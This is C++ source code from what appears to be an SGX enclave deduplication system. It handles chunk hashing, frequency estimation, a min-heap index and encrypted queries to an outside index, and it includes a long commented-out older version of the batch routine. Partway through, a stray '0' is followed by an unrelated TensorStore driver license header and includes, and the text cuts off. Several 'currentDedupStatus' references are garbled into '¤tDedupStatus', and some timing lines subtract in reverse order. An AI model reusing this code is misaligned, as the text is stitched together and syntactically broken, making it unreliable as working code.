check the inside enclave index, and update the CMSketch for (size_t i = 0; i < chunkNum; i++) { // step: compute the hash over the plaintext chunk // read the chunk size memcpy(&tmpChunkSize, recvBuffer + currentOffset, sizeof(tmpChunkSize)); currentOffset += sizeof(tmpChunkSize); #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif cryptoObj_->GenerateHash(mdCtx, recvBuffer + currentOffset, tmpChunkSize, (uint8_t*)&tmpHashStr[0]); #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); fingerprintTime_ += (endTime_ - startTime_); fingerprintCount_++; #endif #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // update the sketch cmSketch_->Update((uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, 1); // estimate the current frequency currentFreq = cmSketch_->Estimate((uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE); #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); freqTime_ += (endTime_ - startTime_); freqCount_++; #endif #if (SGX_BREAKDOWN==1 && SGX_DUPLICATE_BREAKDOWN==1) // for duplicate upload Ocall_GetCurrentTime(&startTime_); #endif // for batching (merge them together in a batch index) auto localFindResult = tmpLocalIndex.find(tmpHashStr); if (localFindResult != tmpLocalIndex.end()) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it exists in this batch index ExchangeEntry_t* tmpRecord = dedupStatusBase + localFindResult->second.offset; switch (tmpRecord->dedupFlag) { case UNIQUE: { // this chunk is unique for the heap, but duplicate for local index currentDedupStatus->dedupFlag = TMP_UNIQUE; currentDedupStatus->chunkAddress.offset = localFindResult->second.offset; break ; } case DUPLICATE: { // this chunk is duplicate for heap, also duplicate for the local index currentDedupStatus->dedupFlag = TMP_DUPLICATE; currentDedupStatus->chunkAddress.offset = localFindResult->second.offset; break ; } default: { Ocall_SGX_Exit_Error("Path-1: Wrong dedup flag"); } } // update the frequency in a batch index localFindResult->second.freq = currentFreq; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (startTime_ - endTime_); firstDedupCount_++; #endif } else { // it does not exists in the batch index, compare the freq // store its fingerprint for second-path heap update memcpy(currentDedupStatus->chunkHash, &tmpHashStr[0], CHUNK_HASH_SIZE); if (currentFreq < currentMinFreq) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // its frequency is smaller than the minimum value in the heap, must not exist in the heap // encrypt its fingerprint, write to the outside buffer cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, EnclaveCommon::indexQueryKey_, outsideEntryPtr->chunkHash); // update the dedup record list currentDedupStatus->dedupFlag = UNIQUE; currentDedupStatus->chunkAddress.offset = outsideQueryNum; // update the outside query buffer offset outsideEntryPtr++; outsideQueryNum++; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } else { // its frequency is higher than the minimum value in the heap, check the heap bool heapFindResult = insideDedupIndex_->Contains(tmpHashStr); if (heapFindResult) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it exists in the heap, directly read insideDedupIndex_->GetPriority(tmpHashStr, tmpHeapEntry); // update the current dedup status currentDedupStatus->dedupFlag = DUPLICATE; memcpy(¤tDedupStatus->chunkAddress, &tmpHeapEntry.address, sizeof(KeyForChunkHashDB_t)); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (startTime_ - endTime_); firstDedupCount_++; #endif } else { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it does not exist in the heap // encrypt its fingerprint, write to the outside buffer cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, EnclaveCommon::indexQueryKey_, outsideEntryPtr->chunkHash); // update the dedup record list currentDedupStatus->dedupFlag = UNIQUE; currentDedupStatus->chunkAddress.offset = outsideQueryNum; // update the outside query buffer offset outsideEntryPtr++; outsideQueryNum++; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } } // update the batch index FreqOffsetEntry_t tmpLocalIndexEntry; tmpLocalIndexEntry.freq = currentFreq; tmpLocalIndexEntry.offset = i; // i is the current offset in the current dedup status list tmpLocalIndex[tmpHashStr] = tmpLocalIndexEntry; } #if (SGX_BREAKDOWN==1 && SGX_DUPLICATE_BREAKDOWN==1) // for duplicate upload Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif currentOffset += tmpChunkSize; currentDedupStatus++; } // path two: check the outside enclave index if (outsideQueryNum != 0) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif Ocall_QueryOutsideIndex(outsideQueryNum, clientID); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } currentDedupStatus = dedupStatusBase; outsideEntryPtr = uploadOutSGXPtr->exchangeEntryList; currentOffset = sizeof(uint64_t); // jump the chunk num ExchangeEntry_t* refEntryPtr; for (size_t i = 0; i < chunkNum; i++) { // read the chunk size memcpy(&tmpChunkSize, recvBuffer + currentOffset, sizeof(tmpChunkSize)); currentOffset += sizeof(tmpChunkSize); #if (SGX_BREAKDOWN==1 && SGX_DUPLICATE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif switch (currentDedupStatus->dedupFlag) { case DUPLICATE: { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it is duplicate for the min-heap tmpChunkAddressStr.assign((char*)¤tDedupStatus->chunkAddress, sizeof(KeyForChunkHashDB_t)); tmpHashStr.assign((char*)¤tDedupStatus->chunkHash, CHUNK_HASH_SIZE); currentFreq = tmpLocalIndex[tmpHashStr].freq; if (insideDedupIndex_->Contains(tmpHashStr)) { // it exists in the min-heap this->UpdateInsideIndexFreq(tmpHashStr, currentFreq); } else { // it does not exist in the min-heap if (this->CheckIfAddToHeap(currentFreq)) { // add this chunk to the heap this->AddChunkToHeap(currentFreq, tmpChunkAddressStr, tmpHashStr); } } // update the statistic insideDedupChunkNum_++; insideDedupDataSize_ += tmpChunkSize; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif break ; } case TMP_DUPLICATE: { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it is also duplicate for the batch index refEntryPtr = dedupStatusBase + currentDedupStatus->chunkAddress.offset; tmpChunkAddressStr.assign((char*)&refEntryPtr->chunkAddress, sizeof(KeyForChunkHashDB_t)); // update the statistic insideDedupChunkNum_++; insideDedupDataSize_ += tmpChunkSize; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif break ; } case UNIQUE: { tmpHashStr.assign((char*)¤tDedupStatus->chunkHash, CHUNK_HASH_SIZE); currentFreq = tmpLocalIndex[tmpHashStr].freq; if (insideDedupIndex_->Size() == topThreshold_) { // the min-heap is full, may involve update if (outsideEntryPtr->dedupFlag == DUPLICATE) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it is duplicate for the outside index, get the return address // decrypt the value cryptoObj_->DecryptWithKey(cipherCtx, (uint8_t*)&outsideEntryPtr->chunkAddress, sizeof(KeyForChunkHashDB_t), EnclaveCommon::indexQueryKey_, (uint8_t*)¤tDedupStatus->chunkAddress); tmpChunkAddressStr.assign((char*)¤tDedupStatus->chunkAddress, sizeof(KeyForChunkHashDB_t)); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } else { // it is unique for the outside index uniqueChunkNum_++; uniqueDataSize_ += tmpChunkSize; // process one unique chunk this->ProcessUniqueChunk((KeyForChunkHashDB_t*)&tmpChunkAddressStr[0], recvBuffer + currentOffset, tmpChunkSize, uploadOutSGXPtr, currentClient); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // encrypt the chunk address, and write to the outside buffer cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t), EnclaveCommon::indexQueryKey_, (uint8_t*)&outsideEntryPtr->chunkAddress); // update the address in the record list memcpy(¤tDedupStatus->chunkAddress, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t)); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif if (this->CheckIfAddToHeap(currentFreq)) { // add this chunk to the min-heap this->AddChunkToHeap(currentFreq, tmpChunkAddressStr, tmpHashStr); } #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif } else { // the min-heap is not full, directly update the heap, it must not exists in the outside uniqueChunkNum_++; uniqueDataSize_ += tmpChunkSize; // process one unique chunk this->ProcessUniqueChunk((KeyForChunkHashDB_t*)&tmpChunkAddressStr[0], recvBuffer + currentOffset, tmpChunkSize, uploadOutSGXPtr, currentClient); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // update the index enclave index memcpy(&tmpHeapEntry.address, tmpChunkAddressStr.c_str(), sizeof(KeyForChunkHashDB_t)); tmpHeapEntry.chunkFreq = currentFreq; insideDedupIndex_->Add(tmpHashStr, tmpHeapEntry); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // encrypt the chunk address, and write to the outside buffer cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t), EnclaveCommon::indexQueryKey_, (uint8_t*)&outsideEntryPtr->chunkAddress); // update the address in the record list memcpy(¤tDedupStatus->chunkAddress, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t)); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } outsideEntryPtr++; break ; } case TMP_UNIQUE: { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // it is unique for the min-heap, but duplicate in batch index refEntryPtr = dedupStatusBase + currentDedupStatus->chunkAddress.offset; tmpChunkAddressStr.assign((char*)&refEntryPtr->chunkAddress, sizeof(KeyForChunkHashDB_t)); // update statistic insideDedupChunkNum_++; insideDedupDataSize_ += tmpChunkSize; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif break ; } default: { Ocall_SGX_Exit_Error("Path-2: Wrong dedup flag."); } } #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // update the file recipe and current offset this->UpdateFileRecipe(tmpChunkAddressStr, *recipe, currentClient); currentOffset += tmpChunkSize; currentDedupStatus++; #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif // update the statistics logicalDataSize_ += tmpChunkSize; logicalChunkNum_++; #if (SGX_BREAKDOWN==1 && SGX_DUPLICATE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif } if (outsideQueryNum != 0) { #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif Ocall_UpdateOutsideDedupIndex(outsideQueryNum, clientID); #if (SGX_BREAKDOWN==1 && SGX_UNIQUE_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); secondDedupTime_ += (endTime_ - startTime_); secondDedupCount_++; #endif } return ; } // /** // * @brief process one batch // * // * @param buffer the data buffer // * @param payloadSize the payload size // * @param uploadOutSGXPtr the pointer to the enclave-related var // */ // void EcallFrequencyTwoIndex::ProcessOneBatch(uint8_t* buffer, uint64_t payloadSize, // UploadOutSGX_t* uploadOutSGXPtr) { // // get the client out-enclave buffer // int clientID = uploadOutSGXPtr->clientID; // Container_t* container = uploadOutSGXPtr->currentContainer; // void* inputMQ = uploadOutSGXPtr->inputMQ; // // get the client in-enclave buffer // EnclaveClient* currentClient = EnclaveCommon::clientIndex_[clientID]; // EVP_CIPHER_CTX* cipherCtx = currentClient->GetCipherCTX(); // EVP_MD_CTX* mdCtx = currentClient->GetMdCTX(); // uint8_t* recvBuffer = currentClient->GetRecvBuffer(); // uint8_t* sessionKey = currentClient->GetSessionKey(); // RecipeBuffer_t* recipe = currentClient->GetRecipeBuffer(); // ExchangeEntry_t* dedupStatusBase = currentClient->GetDedupExchangeBuffer(); // string tmpChunkAddressStr; // tmpChunkAddressStr.resize(sizeof(KeyForChunkHashDB_t), 0); // string tmpCipherAddressStr; // tmpCipherAddressStr.resize(sizeof(KeyForChunkHashDB_t), 0); // size_t currentOffset = sizeof(uint64_t); // jump the chunk num // unordered_map tmpLocalIndex; // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // step-1: decrypt the received data with the session key // cryptoObj_->SessionKeyDec(cipherCtx, buffer, payloadSize, sessionKey, recvBuffer); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // dataTransTime_ += (endTime_ - startTime_); // dataTransCount_++; // #endif // // get the chunk num // uint64_t chunkNum = 0; // memcpy(&chunkNum, recvBuffer, sizeof(uint64_t)); // // start to process each chunk // uint32_t tmpChunkSize = 0; // string tmpHashStr; // tmpHashStr.resize(CHUNK_HASH_SIZE, 0); // ExchangeEntry_t* currentDedupStatus = dedupStatusBase; // ExchangeEntry_t* outsideEntryPtr = uploadOutSGXPtr->exchangeEntryList; // size_t outsideQueryNum = 0; // uint32_t currentFreq = 0; // // check current min freq in the heap // uint32_t currentMinFreq; // HeapItem_t tmpHeapEntry; // string tmpCipherHashStr; // tmpCipherHashStr.resize(CHUNK_HASH_SIZE, 0); // bool status; // // path one: check the inside enclave index, and update the CMSketch // for (size_t i = 0; i < chunkNum; i++) { // // step: compute the hash over the plaintext chunk // // read the chunk size // memcpy(&tmpChunkSize, recvBuffer + currentOffset, sizeof(tmpChunkSize)); // currentOffset += sizeof(tmpChunkSize); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // cryptoObj_->GenerateHash(mdCtx, recvBuffer + currentOffset, tmpChunkSize, // (uint8_t*)&tmpHashStr[0]); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // fingerprintTime_ += (endTime_ - startTime_); // fingerprintCount_++; // #endif // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // update the sketch // cmSketch_->Update((uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, 1); // // estimate the current frequency // currentFreq = cmSketch_->Estimate((uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // freqTime_ += (endTime_ - startTime_); // freqCount_++; // #endif // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // if (insideDedupIndex_->Size() == topThreshold_) { // currentMinFreq = insideDedupIndex_->TopEntry(); // } else { // currentMinFreq = 0; // } // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // firstDedupTime_ += (endTime_ - startTime_); // firstDedupCount_++; // #endif // if (currentFreq < currentMinFreq) { // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // its frequency is smaller than the minimum value in the min-heap // cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpCipherHashStr[0]); // status = this->ReadIndexStore(tmpCipherHashStr, tmpCipherAddressStr, clientID); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // secondDedupTime_ += (endTime_ - startTime_); // secondDedupCount_++; // #endif // if (status == false) { // // this is unique chunk // // this chunk does not exist in the outside index // uniqueChunkNum_++; // uniqueDataSize_ += tmpChunkSize; // // process one unique chunk // this->ProcessUniqueChunk((KeyForChunkHashDB_t*)&tmpChunkAddressStr[0], recvBuffer + currentOffset, // tmpChunkSize, cipherCtx, container, inputMQ); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // encrypt the chunk address // cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t), // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpCipherAddressStr[0]); // // update the outside index // this->UpdateIndexStore(tmpCipherHashStr, &tmpCipherAddressStr[0], sizeof(KeyForChunkHashDB_t)); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // secondDedupTime_ += (endTime_ - startTime_); // secondDedupCount_++; // #endif // } else { // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // this is duplicate chunk, decrypt the value // cryptoObj_->DecryptWithKey(cipherCtx, (uint8_t*)&tmpCipherAddressStr[0], sizeof(KeyForChunkHashDB_t), // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpChunkAddressStr[0]); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // secondDedupTime_ += (endTime_ - startTime_); // secondDedupCount_++; // #endif // } // this->UpdateFileRecipe(tmpChunkAddressStr, *recipe, currentClient); // } else { // // check the min-heap // bool heapFindResult = insideDedupIndex_->Contains(tmpHashStr); // if (heapFindResult) { // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // this chunk is duplicate in current index // insideDedupIndex_->GetPriority(tmpHashStr, tmpHeapEntry); // // update the frequency // this->UpdateInsideIndexFreq(tmpHashStr, currentFreq); // tmpChunkAddressStr.assign((char*)&tmpHeapEntry.address, sizeof(KeyForChunkHashDB_t)); // this->UpdateFileRecipe(tmpChunkAddressStr, *recipe, currentClient); // insideDedupChunkNum_++; // insideDedupDataSize_ += tmpChunkSize; // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // firstDedupTime_ += (endTime_ - startTime_); // firstDedupCount_++; // #endif // } else { // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // this chunk is non-duplicate in current index // cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpHashStr[0], CHUNK_HASH_SIZE, // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpCipherHashStr[0]); // status = this->ReadIndexStore(tmpCipherHashStr, tmpCipherAddressStr, clientID); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // secondDedupTime_ += (endTime_ - startTime_); // secondDedupCount_++; // #endif // if (status == false) { // // this is unique chunk // // this chunk does not exist in the outside index // uniqueChunkNum_++; // uniqueDataSize_ += tmpChunkSize; // // process one unique chunk // this->ProcessUniqueChunk((KeyForChunkHashDB_t*)&tmpChunkAddressStr[0], recvBuffer + currentOffset, // tmpChunkSize, cipherCtx, container, inputMQ); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // // encrypt the chunk address // cryptoObj_->EncryptWithKey(cipherCtx, (uint8_t*)&tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t), // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpCipherAddressStr[0]); // // update the outside index // this->UpdateIndexStore(tmpCipherHashStr, &tmpCipherAddressStr[0], sizeof(KeyForChunkHashDB_t)); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // secondDedupTime_ += (endTime_ - startTime_); // secondDedupCount_++; // #endif // } else { // // this is duplicate chunk, decrypt the value // cryptoObj_->DecryptWithKey(cipherCtx, (uint8_t*)&tmpCipherAddressStr[0], sizeof(KeyForChunkHashDB_t), // EnclaveCommon::indexQueryKey_, (uint8_t*)&tmpChunkAddressStr[0]); // } // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // if (insideDedupIndex_->Size() == topThreshold_) { // insideDedupIndex_->Pop(); // tmpHeapEntry.chunkFreq = currentFreq; // memcpy(&tmpHeapEntry.address, &tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t)); // insideDedupIndex_->Add(tmpHashStr, tmpHeapEntry); // } else { // tmpHeapEntry.chunkFreq = currentFreq; // memcpy(&tmpHeapEntry.address, &tmpChunkAddressStr[0], sizeof(KeyForChunkHashDB_t)); // insideDedupIndex_->Add(tmpHashStr, tmpHeapEntry); // } // this->UpdateFileRecipe(tmpChunkAddressStr, *recipe, currentClient); // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // firstDedupTime_ += (endTime_ - startTime_); // firstDedupCount_++; // #endif // } // } // logicalDataSize_ += tmpChunkSize; // logicalChunkNum_++; // currentOffset += tmpChunkSize; // } // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&startTime_); // #endif // #if (SGX_BREAKDOWN==1) // Ocall_GetCurrentTime(&endTime_); // testOCallTime_ += (endTime_ - startTime_); // testOCallCount_++; // #endif // return ; // }0 // Copyright 2020 The TensorStore Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "tensorstore/driver/driver.h" #include "absl/strings/str_cat.h" #include "tensorstore/context.h" #include "tensorstore/data_type.h" #include "tensorstore/driver/kvs_backed_chunk_driver.h" #include "tensorstore/driver/neuroglancer_precomputed/chunk_encoding.h" #include "tensorstore/driver/neuroglancer_precomputed/metadata.h" #include "tensorstore/driver/neuroglancer_precomputed/uint64_sharded_key_value_store.h" #include "tensorstore/driver/registry.h" #include "tensorstore/index.h" #include "tensorstore/index_space/index_transform_builder.h" #include "tensorstore/internal/cache_key.h" #include "tensorstore/internal/chunk_cache.h" #include "tensorstore/internal/json.h" #include "tensorstore/internal/path.h" #include "tensorstore/kvstore/key_value_store.h" #include "tensorstore/tensorstore.h" #include "tensorstore/util/constant_vector.h" #include "tensorstore/util/future.h" namespace tensorstore { namespace internal_neuroglancer_precomputed { namespace { namespace jb = tensorstore::internal::json_binding; template